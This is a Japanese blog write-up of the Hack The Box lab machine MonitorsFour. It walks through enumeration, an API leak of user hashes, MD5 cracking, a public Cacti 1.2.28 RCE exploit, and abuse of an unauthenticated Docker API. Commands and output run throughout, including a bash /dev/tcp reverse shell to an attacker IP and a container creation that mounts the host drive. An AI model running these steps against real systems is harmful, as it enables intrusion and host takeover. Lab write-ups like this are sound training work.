1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: MonitorsFour

1
Posted at

image.png

はじめに

この記事は、Hack The Box の MonitorsFour を攻略した際の手順を、再現しやすい形で整理したものです。

大まかな流れは以下です。

  1. ポートスキャンとWeb列挙
  2. APIの情報漏えいからユーザー情報とハッシュを取得
  3. 平文パスワードを復元して Cacti にログイン
  4. Cacti 1.2.28 の脆弱性を利用して RCE
  5. コンテナ内から内部ネットワークを調査
  6. 露出した Docker API を悪用してホスト側への足掛かりを作成

ポートスキャニング

まずは全ポートを走査し、開いているポートを詳細調査します。

$ ports=$(nmap -p- --min-rate=1000 -T4 monitorsfour.htb | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
$ nmap -p$ports -A -sC -sV -oN report_monitorsfor monitorsfour.htb

確認できた主なサービス:

  • 80/tcp: nginx
  • 5985/tcp: Microsoft HTTPAPI/2.0

80番ポートのレスポンスには PHPSESSID が含まれ、HttpOnly が未設定でした。

5985番ポートは次のように 404 を返し、初期調査段階では有効な入口になりませんでした。

$ curl -I monitorsfour.htb:5985
HTTP/1.1 404 Not Found
Server: Microsoft-HTTPAPI/2.0

Web列挙

サブドメイン列挙

$ wfuzz -u http://monitorsfour.htb -c -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hh 138

cacti.monitorsfour.htb を発見できたため、 hosts に追加します。

$ echo "10.129.229.213 cacti.monitorsfour.htb" | sudo tee -a /etc/hosts

ディレクトリ列挙

$ gobuster dir -u http://monitorsfour.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

主な発見:

  • /contact
  • /login
  • /user
  • /forgot-password

/user はそのまま叩くと、 token パラメータ不足エラーを返します。

$ curl http://monitorsfour.htb/user
{"error":"Missing token parameter"}

情報漏えいの悪用

パラメータ名をファジングすると、要求されるパラメータが token であることが分かります。

$ wfuzz -u http://monitorsfour.htb/user?FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt --hh 35
...SNIP...
000005845:   200        0 L      4 W        36 Ch       "token"

token=0 を指定すると、ユーザー情報が配列で漏えいしました。

$ curl http://monitorsfour.htb/user?token=0
[{"id":2,"username":"admin",..."name":"Marcus Higgins",...}, ...]

ここで取得できた admin のハッシュ:

  • 56b32eb43e6f15395f6c46c1c9e1cd36

ハッシュ解析と認証情報取得

ハッシュは MD5 と判定され、辞書攻撃で平文を取得できました。

$ hashcat -m 0 -a 0 ./hash.txt /usr/share/wordlists/rockyou.txt
...SNIP...
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1

実際に有効だったログイン情報:

  • Marcus:wonderful1

注記: username は admin ではなくnameの情報に含まれている Marcus を使う必要がありました。

Cacti 脆弱性によるRCE

対象環境の Cacti 1.2.28 について調査し、公開されている情報をもとに PoC を利用します。

  • Advisory: GHSA-fxrq-fr7h-9rqq
  • PoC: CVE-2025-24367 関連の公開スクリプト
$ sudo python3 exploit.py -u Marcus -p wonderful1 -i 10.10.15.11 -l 4444 -url http://cacti.monitorsfour.htb
[+] Cacti Instance Found!
[+] Login Successful!
[+] Hit timeout, looks good for shell, check your listener!

別ターミナルのリスナーでリバースシェルを受信します。

$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.17.44] from (UNKNOWN) [10.129.229.213] 56426
www-data@821fbd6a43fa:~/html/cacti$ whoami
www-data

www-data のまま /home/marcus/user.txt を読めることも確認できました。

コンテナ内調査

/etc/resolv.conf の内容から、コンテナ内部リゾルバと外部ホスト情報を確認します。

www-data@821fbd6a43fa:~/html/cacti$ cat /etc/resolv.conf
# Generated by Docker Engine.
nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]

内部セグメントのホストに対してポートスキャンしたところ、 192.168.65.7 で複数ポートが開いていました。

./fscan -h 192.168.65.7 -p 1-65535
...SNIP...
192.168.65.7:53 open
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open

特に 2375 は認証なし Docker API の可能性が高く、ホスト侵害の足掛かりになります。

Docker API の悪用

まず API にアクセス可能か確認します。

www-data@821fbd6a43fa:/tmp$ curl -s http://192.168.65.7:2375/images/json
[{"RepoTags":["docker_setup-nginx-php:latest"],...}]

次に、バインドマウント付きでコンテナを作成する JSON を用意します。

{
  "Image": "docker_setup-nginx-php:latest",
  "Cmd": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.17.44/1111 0>&1"],
  "HostConfig": {
    "Binds": ["/mnt/host/c:/host_root"]
  }
}

作成と起動:

$ curl -H 'Content-Type: application/json' -d @create_container.json "http://192.168.65.7:2375/containers/create" -o response.json
$ cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d '"' -f4)
$ curl -X POST "http://192.168.65.7:2375/containers/$cid/start"

受信用リスナー:

$ nc -lnvp 1111

この手順により、露出 Docker API を経由してホスト側へ到達可能な経路を作成できます。

まとめ

今回の攻略で重要だったポイントは次の通りです。

  1. API エラーメッセージからパラメータ名を特定し、情報漏えいを成立させたこと
  2. 漏えいハッシュのオフライン解析で、Web管理画面へ正規ログインできる認証情報を得たこと
  3. Cacti の既知脆弱性を使って初期シェルを取得したこと
  4. コンテナ内部から内部ネットワークを調査し、認証なし Docker API を軸に横展開したこと

MonitorsFour は、Webアプリの実装不備とコンテナ運用ミスが連鎖すると、侵害範囲が一気に拡大することを学べる構成でした。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?